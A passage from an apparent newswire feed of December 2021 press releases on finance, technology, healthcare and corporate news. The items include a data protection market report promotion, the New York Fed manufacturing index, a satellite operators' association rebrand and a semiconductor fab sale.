fosters loyalty-a winning method for cultivating long-term consumer relationships. For example, Cisco's research provides various insights into the importance of data transparency. Consumers care about their data privacy and want more control over their data, according to 84 percent of respondents. Furthermore, nearly half of consumers say they have already refused to utilize a service or product from a company whose data privacy practices they do not trust. Another element contributing to market growth is the growing Bring Your Own Device (BYOD) and Choose Your Own Device (CYOD) trends among businesses. Employees can register their own devices and share enterprises to enhance productivity when BYOD policies are implemented. As a result, heightened risks of data theft, data piracy, and data storage have become one of the top worries for businesses. Enterprises are turning to DPaaS services and solutions to help them deal with these difficult situations. Furthermore, the COVID-19 epidemic has compelled businesses to move their solutions and services to the cloud. Businesses have turned to recovery services as their reliance on remote network equipment has grown. In addition, the market is expected to grow in 2020 due to an increase in data theft incidents. Browse the Table of Contents and List of figures at: https://reports.valuates.com/market-reports/QYRE-Auto-4Z1912/global-data-protection Data Protection Market Share Analysis: Professional and managed data protection services are the two main forms of data protection services. Risk assessment and consulting services, implementation and integration services, support and maintenance services, and training and education services are all part of the professional services segment. During the forecast period, the support and maintenance services category is predicted to increase at the fastest rate. The usage of data protection solutions is increasing, indicating that professional services will be in high demand during the projection period. Because of the rising occurrences of data breaches on business cloud applications, as well as the sophistication level of cyber-attacks, the Small and Medium-sized Enterprises (SMEs) category is predicted to grow at a faster CAGR throughout the projection period. However, in 2017, the data protection market is expected to be dominated by the large corporate category. Because they use a huge number of business applications that are vulnerable to cyber-attacks, major enterprises were early users of data protection solutions. North America is expected to be the most lucrative region during the forecast period. This is due to the fact that in the industrialized economies of the United States and Canada, there is a strong emphasis on R&D and technology-based developments. Browse the Table of Contents and List of figures at: https://reports.valuates.com/request/customisation/QYRE-Auto-4Z1912/Global_Data_Protection_Market Major Players in the Data Protection Market IBM Informatica Broadcom Solix IRI Delphix Mentis Micro Focus Oracle Compuware Others Chapter Cost Request: https://reports.valuates.com/request/chaptercost/QYRE-Auto-4Z1912/Global_Data_Protection_Market Buy Now for Single User + Covid-19 Impact: https://reports.valuates.com/api/directpaytoken?rcode=QYRE-Auto-4Z1912&lic=single-user SUBSCRIPTION We have introduced a tailor-made subscription for our customers. Please leave a note in the Comment Section to know about our subscription plans. SIMILAR REPORTS - The global Identity and Access Management market size is projected to reach USD 43190 Million by 2027, from USD 15960 Million in 2020, at a CAGR of 15.3% during 2021-2027. - The global Mobile Data Protection market size is projected to reach USD 7696.3 Million by 2027, from USD 3232.7 Million in 2020, at a CAGR of 12.7% during 2021-2027 - The global Mobile Data Protection Solutions and Services market size is projected to reach USD 7196.2 Million by 2027, from USD 2603 Million in 2020, at a CAGR of 15.1% during 2021-2027. - The global Data Protection and Recovery Solutions market size is projected to reach USD 10120 Million by 2027, from USD 6352.5 Million in 2020, at a CAGR of 6.8% during 2021-2027. - The global Privacy Management Software market size is projected to reach USD 8125 Million by 2027, from USD 1097.9 Million in 2020, at a CAGR of 33.1% during 2021-2027 - The global big data security market size was valued at USD 13,720 Million in 2019 and is projected to reach USD 54,237 Million by 2027, registering a CAGR of 18.8% from 2020 to 2027. - In 2021, the global General Data Protection Regulation Software market size will be USD Million and it is expected to reach USD Million by the end of 2027, with a CAGR of % during 2021-2027. - The global payment security market size was valued at USD 17.64 billion in 2020 and is projected to reach USD 60.56 billion by 2030, growing at a Compound Annual Growth Rate (CAGR) of 13.2% from 2021 to 2030. - The global Security Information and Event Management market size is projected to reach USD 6436.2 Million by 2027, from USD 3938.3 Million in 2020, at a CAGR of 6.8% during 2021-2027. - The global fraud detection and prevention market size is projected to reach USD 45800 Million by 2027, from USD 16390 Million in 2020, at a CAGR of 15.3% during 2021-2027 - The global security testing market size was valued at USD 6.25 billion in 2020 and is projected to reach USD 36.78 billion by 2030, growing at a CAGR of 19.2% from 2021 to 2030. - The global Managed Services market size is projected to reach USD 248750 Million by 2026, from USD 133440 Million in 2019, at a CAGR of 9.2% during 2021-2026. - The global Encryption Software market size is projected to reach USD 11420 Million by 2027, from USD 5956.6 Million in 2020, at a Compound Annual Growth Rate (CAGR) of 9.6% during 2021-2027. - Data Protection Appliances Market Size, Status and Forecast 2021-2027 - Cloud Data Protection as a Service(DPaaS) Market Size, Status and Forecast 2021-2027 - Data Privacy Software Market Size, Status and Forecast 2021-2027 To see the full list of related reports on the Data Protection ABOUT US: Valuates offers in-depth market insights into various industries. Our extensive report repository is constantly updated to meet your changing industry analysis needs. Our team of market analysts can help you select the best report covering your industry. We understand your niche region-specific requirements and that's why we offer customization of reports. With our customization in place, you can request for any particular information from a report that meets your market analysis needs. To achieve a consistent view of the market, data is gathered from various primary and secondary sources, at each step, data triangulation methodologies are applied to reduce deviance and find a consistent view of the market. Each sample we share contains detail research methodology employed to generate the report, Please also reach to our sales team to get the complete list of our data sources CONTACT US: Valuates Reports sales@valuates.com For U.S. Toll-Free Call +1-(315)-215-3225 For IST Call +91-8040957137 WhatsApp: +91 9945648335 Website: https://reports.valuates.com Follow on Twitter - https://twitter.com/valuatesreports Follow on Linkedin - https://in.linkedin.com/company/valuatesreports Follow on Facebook - https://www.facebook.com/valuatesreports Logo: https://mma.prnewswire.com/media/1082232/Valuates_Reports_Logo.jpg WASHINGTON (dpa-AFX) - The Federal Reserve Bank of New York released a report on Wednesday unexpectedly showing a modest acceleration in the pace of growth in regional manufacturing activity in the month of December. The New York Fed said its general business conditions index inched up to 31.9 in December from 30.9 in November, with a positive reading indicating growth. The uptick surprised economists, who had expected the index to pull back to 20.5. The unexpected increase by the headline index came despite modest slowdowns in the pace of growth in new orders and shipments. The new orders index dipped to 27.1 in December from 28.8 in November, while the shipments index slipped to 27.1 from 28.2. The New York Fed noted the readings still point to another month of strong growth in both areas. The report showed the number of employees also slid to 21.4 in December from 26.0 in November, indicating a slowdown in the pace of job growth. Meanwhile, the unfilled orders index climbed to 19.0 in December from 12.7 in November, as firms had more unfilled orders. The New York Fed said the delivery times index tumbled to 23.1 in December from 32.2 in November, suggesting delivery times lengthened significantly but less so than last month. The report also showed the prices paid index fell to 80.2 in December from 83.0 in November, while the prices received index dropped to 44.6 from 50.8. Looking ahead, firms remained optimistic that conditions would improve over the next six months, with the index for future business conditions nearly unchanged at 36.4 in December compared to 36.9 in November. The New York Fed said longer delivery times, higher prices, and increases in employment are all expected in the months ahead. On Thursday, the Philadelphia Federal Reserve is scheduled to release its report on regional manufacturing activity in December. The Philly Fed Index is expected to slump to 30.0 in December from 39.0 in November. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de LONDON, Dec. 15, 2021 /PRNewswire/ -- PremFina Ltd ("PremFina" or the "Company"), the UK's only venture capital and private equity backed premium finance company, is pleased to announce it has won bronze for "Diversity and Inclusion" in the Insurance Times Awards for 2021. Known for its grand atmosphere, the ceremony took place at the Grosvenor House Hotel in London on December 9. Attended by 800 insurance industry professionals, it was hosted by stand-up comedian and television presenter, Dara O Briain. The award night was sponsored by leading companies in the insurance industry, seen as game changers and trend setters. These included ACORD, Ageas Insurance Ltd, Applied Systems, Aviva plc, Carpenters Group, Markerstudy Insurance Services Limited, AA Ltd, and PremFina Ltd. Unlike other events, the Insurance Times Awards encourages and celebrates the very finest across the breadth of UK general insurance - those with outstanding initiatives, individuals and teams that are embracing emerging opportunities, and leading the charge for better insurance services in a rapidly changing space. Brought up on a mixture of Indian, Canadian, and English culture, PremFina's Group CEO, Bundeep Singh Rangar, made it his mission to bring diversity and inclusion to PremFina and has throughout the years stated, "Diversity and Inclusivity are not just pledges for us. they're in our DNA." For the past three years, PremFina has been nominated for the Diversity and Inclusion Award by the Insurance Times, and to finally win Bronze is a recognition the PremFina family is happy to share and celebrate. Not only were they nominated, but PremFina Group CEO Rangar also presented the "Excellence in Technology" - General Award on the night. "Since we won Gold for Excellence in Technology at last year's Insurance Times ceremony, it's an absolute pleasure to be presenting the award this year." PremFina, Group CEO, Bundeep Singh Rangar PremFina has previously won the Insurance Times award of Best Use of Technology for Customer Experience at the Tech & Innovation Awards in 2018. In 2018, PremFina became recognised as one of the 100 Best Insurtechs in the EMEA Region by Klein Blue, and one of the Hottest FinTech Startup's in Europe in The Europas Awards in 2019. The award nominations continue, with PremFina winning the Organisational Impact SME category, at The Lloyd's Dive In Impact Awards in 2019. Becoming part of the Dive In Impact winner circle is an outstanding accomplishment for any business to achieve - the award itself is constituted by a group of firms in the Lloyd's Market who are steering Diversity and Inclusion in the insurance industry. Notably, PremFina also became a finalist for the Diversity and Inclusion Award at the British Claims Awards in 2020. About PremFina PremFina Ltd is a technology-led, private equity backed, London-based firm operating in the $80 billion global premium finance industry. Promoting financial inclusion, it enables the payment of insurance premiums via affordable monthly instalments. The company supplies insurance brokers and companies with financing facilities as well as a white label cloud-based Software-as-a-Service (SaaS). Nearly half of PremFina's staff work within IT in the UK, Bulgaria and Poland. More info at www.premfina.com. PremFina website: https://www.premfina.com/ For all Press Enquiries: Jessica Patterson Jessica@jprmediagroup.com +44 (0) 7950 977765 Photo - https://mma.prnewswire.com/media/1710572/PremFina_Insurance_Times_Awards.jpg Logo - https://mma.prnewswire.com/media/1373086/PremFina_Logo.jpg DGAP Post-admission Duties announcement: Haier Smart Home Co.,Ltd. / Third country release according to Article 50 Para. 1, No. 2 of the WpHG [the German Securities Trading Act] Haier Smart Home Co., Ltd.: Announcement on Additional Capital Injection into a Subsidiary and Establishment of Smart Lifestyle Appliances Division 15.12.2021 / 16:27 Dissemination of a Post-admission Duties announcement according to Article 50 Para. 1, No. 2 WpHG transmitted by DGAP - a service of EQS Group AG. The issuer is solely responsible for the content of this announcement. Release according to Article 50 of the WpHG [the German Securities Trading Act] with the objective of Europe-wide distribution Haier Smart Home Co., Ltd.: Announcement on Additional Capital Injection into a Subsidiary and Establishment of Smart Lifestyle Appliances Division Qingdao / Shanghai / Frankfurt / Hongkong, 15 December 2021 - Haier Smart Home Co., Ltd. (the "Company" or "Haier Smart Home", D-share 690D.DE, A-share 600690.SH, H-share 06690.HK) today published a mandatory announcement in accordance with applicable trading rules of the Shanghai Stock Exchange and applicable PRC laws in relation to additional capital injection into a subsidiary and establishment of Smart Lifestyle Appliances Division. The announcement is fully available at: https://smart-home.haier.com/en/dggg/P020211215765353312071.pdf?appdesc=Announcement%20on%20Additional%20Capital%20Injection%20into%20a%20%20Subsidiary%20and%20Establishment%20of%20Smart%20Lifestyle%20Appliances%20Division IR Contact: Haier Smart Home Hong Kong T: +852 2169 0000 Email: ir@haier.hk Press Contact: CROSS ALLIANCE communication GmbH Sven Pauly Sara Pinto sp@crossalliance.de T: +49 (0) 89 1250903 35 About Haier Smart Home Co., Ltd.: Haier is one of the world's leading manufacturers of household appliances with a focus on smart home solutions and customized mass production. Haier Smart Home Co., Ltd. develops, produces and distributes a wide range of household appliances. These include refrigerators, freezers, washing machines, air conditioners, water heaters, kitchen appliances as well as smaller household appliances and an extensive range of intelligent household appliances. The Company distributes its products through leading household brands such as Haier, Casarte, Leader, Candy, GE Appliances, AQUA and Fisher & Paykel. Haier Smart Home Co., Ltd. has launched Smart Home Experiential Cloud, which connects homes, users, enterprises and ecosystem partners, and facilitates the integration of Haier's online, offline and micro-store businesses and supports user interaction to further optimize the user experience. 15.12.2021 The DGAP Distribution Services include Regulatory Announcements, Financial/Corporate News and Press Releases. Archive at www.dgap.de TUCSON, AZ / ACCESSWIRE / December 15, 2021 / GainClients, Inc. (OTC PINK:GCLT) ("GainClients" or the "Company") is pleased to announce that it has launched Remote Deposit Capture Services ("RDC") for their newest client, Deschutes County Title ("Deschutes"). Deschutes has activated two branches serving Central Oregon on the RDC Platform. This relationship puts Deschutes at the cutting edge of FinTech serving the Real Estate Markets. Deschutes can now allow all of their clients; Buyers and Sellers, Realtors and even their own Title Sales Representatives, the ability to use their Smart Phones to deposit funds directly into Deschutes' Escrow Accounts; digitally. Any real estate transaction is typically initiated by an Agreement and an immediate deposit, made by the Buyer of the property, to demonstrate "good faith". This deposit, in most states, is called an "Earnest Money Deposit". GainClients' RDC Tool allows this deposit to occur digitally, saving Deschutes County Title thousands of dollars in courier fees and their employees' time. "We are so excited to partner with a cutting-edge technology like GainClient's. We have wanted to bring our customers the best tools and solutions that the market has to offer and GainClients moves us to the front of the line!" said Steve McDonald, Vice President and County Manager for Deschutes County Title. "We have been working diligently for months with the good folks over at Deschutes County Title. As we started this project, their leadership had the foresight to recognize that their entire market would benefit from our service, so they added their Redmond Office and can now serve all of Central Oregon with the same great Deschutes County Title Service that has made them the "go to" title and escrow provider in Central Oregon. Clients all over the state can now make deposits digitally," said Ed Laine, the Company's CEO. The Company's Remote Deposit Capture Service provides the ability to take a picture of an earnest money check and deposit it into a bank account from a remote location, such as an office or home, without having to physically deliver the check to the receiver. Proven to be secure by the banking industry, mobile remote depositing offers better protection against fraud, lost checks, and saves significant time and money for the Title and Escrow Companies that use the software. For the real estate agent, the service will eliminate the time spent picking up checks from their buyer clients and fees charged by title companies. For title companies, it will reduce the millions spent on manual courier services and overnight shipping costs. In addition, the system will expedite the escrow opening process, as well as solving their disbursement and/or refunds to avoid becoming Dormant Funds. It's also a beneficial service from title companies to their REALTOR partners that will strengthen existing relationships and forge new ones. About Deschutes County Title. Locally owned and operated since 2003, Deschutes County Title champions a sense of transparency, clarity, and understanding with all of their clients. With offices in Bend and Redmond, Deschutes County Title is a welcoming and trusted team of experts that can be counted on for all real estate transactions. As part of the highly successful Schreiner Group of title companies, their tradition of providing topnotch and personalized professional services continues one person at a time. The Schreiner family has been involved in the title business in the Northwest since the early 1900s. Their ties to the local area provide them with special insights into their client's real estate needs. See more at https://deschutescountytitle.com/ About GainClients, Inc. GainClients products, the Remote Deposit Capture Tool or RDC, the GCard, and the Daily Opportunity Service, consist of custom formatted data and marketing services created for the real estate industry including real estate agents and brokers, lender brokerages, title/escrow and insurance companies and individual real estate, mortgage, and title and escrow professionals. Learn more at: http://www.thegainclientsway.com/. For More Information: GainClients Ed Laine, at info@gainclients.com or at +1.206.229.5515; Head office: 6245 E Broadway Blvd., Suite 400, Tucson, AZ 85711 Deschutes County Title Steve McDonald, at stevem@deschutestitle.com or at +1-541-389-2120 Head Office:397 SW Upper Terrace, Bend, OR 97702 Cautionary Statements This corporate update contains "forward-looking information" that is not clearly historical in nature may constitute forward-looking information. Generally, such forward-looking information can be identified by the use of forward-looking terminology such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved". SOURCE: GainClients, Inc. View source version on accesswire.com:https://www.accesswire.com/677759/GainClients-Inc-Launches-Relationship-with-Deschutes-County-Title-of-Oregon TAIZHOU, China, Dec. 15, 2021 /PRNewswire/ -- Themed "Hehe Culture and A Community of Shared Future for Mankind", the 2021 Hehe Culture Global Forum was held in Tiantai county, Taizhou city, Zhejiang Province on December 9. With this year's forum focusing on Hehe culture and a community with a shared future for mankind, three sub-themes were set, including: upholding peace and co-prosperity and achieving inclusive development, upholding harmony and mutual benefits and achieving win-win cooperation, and upholding harmonious coexistence and achieving ecological civilization. "Hehe culture" has a long history in China, and it is valuable to improving global governance and addressing the common challenges facing mankind. Han Nathan, Consul General of the Republic of Malta in Shanghai, said at the opening ceremony that "in the post-pandemic era, it is a common goal for us to promote a sustainable and fair recovery in the world, and harmony and cooperation are the key steps." He called for efforts to build a new cooperation framework based on today's ever-changing reality and establish corresponding cooperation mechanisms in terms of prioritized agendas including economy, environment, security, and technology. Li Yueqi, secretary of the Taizhou Municipal Party Committee of the CPC, pointed out that the Hehe culture is an excellent gene of Chinese civilization, which embodies the concept of harmony between man and nature, the values of seeking common ground while reserving differences, and the vision of harmonious and prosperous development for all. "Facing the new journey of modernization and common prosperity," he said, "we need to strengthen the dissemination of the Hehe culture, promote the Hehe culture outside of Taizhou and even the country to go global and make contributions to bridging the gap between civilizations and building a world of harmony." At the main forum, former UN Deputy Secretary-General Kim Won-Soo pointed out that the Hehe culture not only has a positive cultural significance in promoting the construction of a harmonious society, but also facilitates exchanges and dialogues between different countries, races, religions, and cultures. Promoting world peaceful development holds great theoretical and practical significance, he stressed. Wu Weishan, director of the National Art Museum of China, believes that the universal view of the unity between heaven and man aims to achieve harmonious coexistence of man and nature. The international view of all nations living side by side in perfect harmony promotes the construction of a community with a shared future for mankind. The social view of harmony in diversity requires that a harmonious and friendly relationship should be maintained in any communication. In their speeches, experts and scholars from all around the world shared their insights on how to draw on the wisdom of Hehe culture to build a community with a shared future for mankind. The Chinese and international guests also conducted exchanges and discussions in parallel sessions. The Hehe Culture Global Forum is an institutionalized international conference, which aims to promote the construction of a community with a shared future for mankind from the cognitive perspectives of the traditional Hehe culture and become a broad consensus and world discourse for the international community to respond to global challenges. Logo - https://mma.prnewswire.com/media/1708537/Hehe_Cultural_Logo.jpg Photo - https://mma.prnewswire.com/media/1710480/Hehe_Cultural_1.jpg Photo - https://mma.prnewswire.com/media/1710481/Hehe_Cultural_2.jpg Contact:Zhou Biye Tel:0086576-88510329 Email:tzswwxb001@163.com Thousands of thinkers, innovators, and practitioners joined the event in-person and online to help build the next generation of changemakers DOHA, Qatar, Dec. 15, 2021 /PRNewswire/ -- The 2021 WISE Summit has marked a seminal moment in education change. In one of the biggest global education events of its kind, thousands of thinkers, innovators, and practitioners came together to envisage how the global shock of the pandemic can - and must - be the catalyst for deep and lasting reform. In what was WISE Summit's first hybrid event, 11,110 participants registered online and more than 2,100 attended in-person sessions at Qatar National Convention Centre - located in Education City in Doha, Qatar - with delegates and speakers representing 177 countries. The summit brought together education pioneers who are delivering on the ground and who came to share concrete projects. At the end of the summit, Stavros N. Yiannouka, CEO of WISE, said: "We built this platform over a decade ago to amplify the work that organizations are doing and to create a community. And in the midst of a global pandemic, we managed to come together once again - in-person and online - for three days of conversation, inspiration, and recommitment to the cause of quality education for all. In the years and decades to come, the world is going to need movements like WISE to be a catalyst for collective intelligences and energies." 2021 WISE Summit highlights, from 200 in-person and online sessions: Key sessions examined how EdTech can transform learning in the MENA region, where there are steep challenges in learning outcomes within a huge diversity of cultures. This year's WISE AWARDS winners were honoured for the inspiring ways in which they had developed an effective, tried and tested solution to a global educational challenge. Young education changemakers from around the world held centre stage at WISE's first Youth Studio to demand a radically new education system. The CEO and co-founder of Teach For All, Wendy Kopp , received the WISE Prize for Education feduor her innovative global network to bring education opportunities to all. , received the WISE Prize for Education feduor her innovative global network to bring education opportunities to all. The Founding Director of the Yale Center for Emotional Intelligence, Marc Brackett , told delegates that young people are experiencing a global mental health crisis in the wake of the pandemic. He said: "It is our moral obligation that every child gets the emotional education that they really deserve." Logo - https://mma.prnewswire.com/media/969958/Wise_Logo.jpg Contacts: media@wise.org.qa MDoloris Medical Systems, leader in the field of objective analgesia/nociception monitoring during anesthesia and in intensive care, and Mindray, a global leader in developing and providing advanced medical devices and solutions, announce today the CE Mark and upcoming launch of the Mdoloris ANI-MR module. The ANI-MR module is a solution developed by MDoloris for Mindray for integration into the BeneVision N Series patient monitoring devices, making the ANI parameter available to all clinicians using the Mindray's BeneVision N Series monitoring platform. "We're very excited to announce that we will launch the ANI-MR module on January 1st, 2022. Developed to help clinicians effectively measure the analgesia nociception level and show on the digital display, the new ANI-MR module can be seamlessly integrated into our flagship BeneVision N Series patient monitors. With clinical needs in mind, Mindray is dedicated to building a comprehensive and innovative bedside information platform through our BeneVision N Series patient monitoring system. This platform is future-proof, as it will continuously integrate more innovative technologies to empower clinicians worldwide to make professional and accurate decisions." declares Jian Cen, General Manager of Mindray's Patient Monitoring Life Support Business Unit. "Obtaining the CE Mark under the new Medical Device Regulation for our ANI MR module is a critical milestone for Mdoloris. The upcoming launch of the module by our partner Mindray will be a major step forward, considerably strengthening MDoloris' reach into thousands of Operating Rooms in Europe. This partnership will allow each clinician using the BeneVision N Series patient monitors from Mindray to get access to our ANI technology and its clinical outcomes." declares Fabien Pagniez, CEO and founder of MDoloris Medical Systems. About the Analgesia Nociception Index ANI is a parameter obtained from the Heart Rate Variability that helps clinicians to assess the Autonomic Nervous System, guiding the clinicians to titrate their analgesics during the surgery and anesthesia. This improves postoperative pain, PONV scores, shivering scores, and reducing post-operative opioids use (1), as well as, hospital stays (2) and may reduce the Montreal scales values (3), a scale used to assess post-operative cognitive disorders. About MDoloris Medical Systems MDoloris Medical Systems, a venture-backed French company, is the first worldwide company to be able to provide clinicians continuous and non-invasive surgical stress monitoring medical devices of the patient's parasympathetic tone. MDoloris is present in more than 70 countries, has placed more than 4 000 devices worldwide and more than 300.000 patients benefited from its clinical outcomes. About Mindray Mindray is one of the leading global providers of medical devices and solutions. Firmly committed to their mission of "advance medical technologies to make healthcare more accessible", they are dedicated to innovation in the fields of Patient Monitoring Life Support, In-Vitro Diagnostics, Medical Imaging System, and Orthopaedics. Today, powered by their 10 R&D centers across the globe, Mindray's products and services can be found in healthcare facilities in over 190 countries and regions. Mindray's products and solutions are now serving over 600 teaching hospitals in Europe, the top 20 hospitals in the U.S., and 99% of Class A tertiary hospitals in China. (1)2017- Henry D. Upton, MBBS, BMedSc (Hons), Guy L. Ludbrook, MBBS, FANZCA, PhD,Andrew Wing, BMBS (Hons), BSci (Hons), FANZCA, and Jamie W. Sleigh, MD Intraoperative"Analgesia Nociception Index"- Guided Fentanyl Administration During Sevoflurane Anesthesia in Lumbar Discectomy and Laminectomy: A Randomized Clinical Trial Anesthesia Analgesia july 2017 doi: 10.1213/ANE.0000000000001984. 2020-Ramos-Luengo A, Gardeta Pallares A, Asensio Merino F.Usefulness of ANI (analgesia nociception index) monitoring for outpatient saphenectomy surgery outcomes: an observational study. J Clin Monit Comput. 2020 Feb 28. doi: 10.1007/s10877-020-00491-1. 2021- Yang, Shuyi; Xiao, Wei; Wu, Hao; Liu, Yang; Feng, Shuai;Management Based on Multimodal Brain Monitoring May Improve Functional Connectivity and Post-operative Neurocognition in Elderly Patients Undergoing Spinal Surgery Frontiers in Aging Neuroscience Volume 13 Jul 15, 2021 10.3389/fnagi.2021.705287 View source version on businesswire.com: https://www.businesswire.com/news/home/20211214005898/en/ Contacts: Jean-Francois Kitten jf@licencek.com 0972334763 Ilinca Spita i.spita@licencek.com 0972334763 Amazon, APT, ARSAT, Intersputnik, Lockheed Martin, Omnispace and Star One sign on as new members Chief Executives of the world's leading satellite operators announced today in Paris on the occasion of World Satellite Business Week 2021 that ESOA, the EMEA Satellite Operators Association, is expanding to include satellite operators from all world regions and will change its name to GSOA, the Global Satellite Operators' Association. They also announced that seven new members Amazon, APT, ARSAT, Intersputnik, Lockheed Martin, Omnispace and Star One had already agreed to join GSOA. GSOA will remain the only CEO-driven satellite industry association. It will focus on a core mission of providing a unified voice and a platform for collaboration for satellite operators globally to ensure their continued success and for broadening the opportunities for policymakers and industry players to leverage satellite services to fulfil their objectives. "The creation of GSOA reflects a strong belief in the satellite communications sector that a strong, global voice is needed to ensure that the sector is well positioned to helping create a more connected and sustainable world," said Stephen Spengler, ESOA Chairman and CEO of Intelsat. "The fact that new members are already joining us is a demonstration of support for GSOA's mission and the need to ensure that, together, we have a strong voice in shaping the communications ecosystem of the future." Leading Change GSOA is structured to drive industry leadership in the face of three key trends: unparalleled innovation in the space sector, an insatiable demand for all types of connectivity, and a need to bring sustainability to space. In this regard, the GSOA Board has approved three broad industry goals. GSOA is committed to: On earth: extending connectivity globally where other networks don't, connecting unconnected communities, schools, households, planes, ships, businesses, humanitarian agencies, peacekeepers and governments, aiming to increase the number of satellite data connections by 250% by 2030 and increase the data consumed by those connections 15 fold. In space: preserving the space environment for future generations by designing, launching and operating satellites in a responsible way and minimising the creation of space debris. For all: supporting the UN Sustainable Development Goals by providing access to secure, reliable and sustainable broadcast broadband connectivity to people, schools, enterprises, organisations and devices wherever they may be, whether on the move, at work, or at play. ESOA to GSOA With the industry's multi-orbit offering, the satellite sector will respond to the great majority of connectivity requirements presented by the data driven economy of tomorrow. From bridging crippling social, education, healthcare and other divides that exist due to the lack of communications infrastructure on all continents to enabling a host of 5G and IoT use cases for different vertical sectors. Satellite operators will continue to build on the successes of ESOA which include providing the support the industry needed to push ahead with 5G standards and vital leadership on issues such as satellite spectrum and space sustainability.Through GSOA, the satellite sector will now be able to drive such global activities leveraging a global operator base. GSOA will provide its members with the opportunity to shape the future of the satellite communications industry and the frameworks in which it operates by participating in key activities that impact the sector. Specifically, GSOA members will be able to engage in cross-sector initiatives, drive common positions, represent the industry on topics such as spectrum and 5G in events on all continents and contribute to ITU work concerning the development agenda, emergency communications and of course spectrum. The association will continue to have a CEO-led Board, which has proved invaluable to the success of the ESOA to date, a strong Secretariat, and member-driven working groups that execute the broad agenda set by the Board. "This is an important change that will help ensure the industry is positioned well into the future", said Aarti Holla-Maini, the secretary general of ESOA. "We also recognize that there are other industry associations who will want to understand the implications of this change and we look forward to working with them to ensure the satellite communications sector has the strongest possible, unified global voice The Global Satellite Operators Association now counts among its members: Airbus CIS, Amazon, Amos Spacecom, APT, Arabsat, Arsat, Avanti, Azercosmos, Echostar-Hughes, HellasSat, Hispasat, Inmarsat, Intelsat, Intersputnik, Lockheed Martin, Nigcomsat, Nilesat, Omnispace, OneWeb, Rascomstar, SES, SSI-Monacosat, Star One, Telenor, Telesat, Telespazio, Thuraya, Turksat, Viasat and Yahsat as well as representatives of the broader space industry including Airbus Defence and Space, Arianespace, Astroscale, Mansat, ST Engineering and Thales Alenia Space. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005734/en/ Contacts: Natalia Vicente nvicente@esoa.net +32 (2) 669 4274 www.esoa.net Manufacturing facility sold to Swedish MEMS foundry Silex Microsystems for 85 million Euro; Long-term supply agreement signed until at least 2027 ATREG, Inc., which specializes in helping advanced technology companies divest and acquire infrastructure-rich manufacturing assets (semiconductor fabs and cleanrooms) worldwide, announced today that it has successfully advised Elmos Semiconductor SE on the disposition of its operational automotive-certified 200mm manufacturing facility located in Dortmund, Germany. Elmos has entered into a definitive sale and purchase agreement with Silex Microsystems AB, a pure-play MEMS foundry headquartered in Jarfalla, Sweden, for a net purchase price of 77.5 million Euro plus around 7 million Euro for the work-in-progress inventory, totaling approx. 85 million Euro. The transaction is expected to close in the second half of 2022, subject to customary closing conditions and regulatory approvals. The transaction includes a long-term supply agreement until at least 2027, with Elmos buying processed wafers produced at the fab. "This transaction is an important structural alignment of our manufacturing strategy. And it provides a long-term perspective with new products and technologies for the Dortmund wafer fab and its employees," explains Elmos CEO Dr. Arne Schneider. "The ATREG team has been instrumental at bringing the right caliber of global buyers to the table and demonstrated the creativity needed in structuring a transaction model that met all of our business objectives." "Global demand for 200mm fab assets has been at an all-time high this year and we expect it to show no abatement in 2022," adds Stephen Rothrock, president and CEO of ATREG. "The unique structure of this transaction is a win-win for Elmos and Silex. We are very pleased with the outcome for both parties." Elmos will transfer all relevant assets and contracts directly linked to the fab into the newly founded stand-alone foundry operation. When the transaction closes, Silex will acquire 100% of the shares of the fab, including direct and indirect personnel under the leadership of the fab's former management. Elmos will continue to own the building, but will lease the cleanroom to Silex based on the long-term lease agreement. Product testing activities will remain with Elmos who will provide the necessary infrastructure, utilities, IT support, and licenses to Silex based on separate lease and service agreements. About ATREG, Inc. Headquartered in Seattle, USA, ATREG, Inc. specializes in helping global companies divest and acquire infrastructure-rich advanced technology manufacturing assets, including front-end and back-end semiconductor fabs, cleanroom facilities, and technology campuses in North America, Europe, and Asia. For more information, please visit our web site, read our blog, or follow us on LinkedIn and Twitter. About Elmos Elmos develops, produces, and markets semiconductors, primarily for use in the automotive industry. Our components communicate, measure, regulate, and control safety, comfort, powertrain, and network functions. For over 30 years, Elmos innovations have been bringing new functions to life and making mobility worldwide safer, more comfortable, and more energy efficient. With our solutions, we are already the worldwide #1 in applications with great future potential, such as ultrasonic distance measurement, ambient light, and intuitive HMI. For more information, please visit our web site. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005787/en/ Contacts: Muriel Guilbert muriel.guilbert@atreg.com Regulatory News: Forsee Power (the "Company") (Paris:FORSE), an expert in smart battery systems for sustainable electromobility, is pleased to announce the initiation of coverage of its stock by Berenberg, Kepler Cheuvreux and Gilbert Dupont. With a research report entitled "Potential to electrify the market", Berenberg initiates coverage of Forsee Power with a buy recommendation. Kepler Cheuvreux has initiated the coverage of the stock with also a Buy recommendation in the report "Forseeable electric growth". Forsee Power is also covered by Gilbert Dupont, Societe Generale Group, following the release of a report "Power of E-mobility" which recommends buying the stock. Next financial release: 2021 sales February 17, 2022 before market opening. About Forsee Power Forsee Power is a French industrial group specializing in smart battery systems for sustainable electric transport (light vehicles, trucks, buses, trains and ships). A major operator in Europe, Asia and North America, the Group designs, assembles, and supplies energy management systems based on cells that are among the most robust in the market and provides installation, commissioning and maintenance on site and remotely. Forsee Power also offers financing solutions (battery leasing) and second-life solutions for transport batteries. The Group recorded revenue from sales of EUR 62 million in 2020 and has more than 500 employees. For more information: www.forseepower.com | @ForseePower View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005831/en/ Contacts: Forsee Power Sophie Tricaud Director of Communication, Sustainability Public Affairs investors@forseepower.com NewCap Thomas Grojean Quentin Masse Investor Relations forseepower@newcap.eu +33 (0)1 44 71 94 94 NewCap Nicolas Merigeau Media Relations forseepower@newcap.eu +33 (0)1 44 71 94 98 Regulatory News: NOXXON Pharma N.V. (Euronext Growth Paris: ALNOX) (Paris:ALNOX), a biotechnology company focused on improving cancer treatments by targeting the tumor microenvironment (TME), announced today that the extraordinary general meeting of shareholders held on Wednesday, December 15, 2021 at the offices of Freshfields Bruckhaus Deringer LLP, Strawinskylaan 10, 1077 XZ in Amsterdam, the Netherlands approved the voting item to appoint Bryan Jennings as additional statutory director of NOXXON Pharma N.V. Shareholders representing a total of 7.56% of the total issued and outstanding share capital entitled to vote were represented by proxy. Aram Mangasarian, CEO of NOXXON commented: "I am very 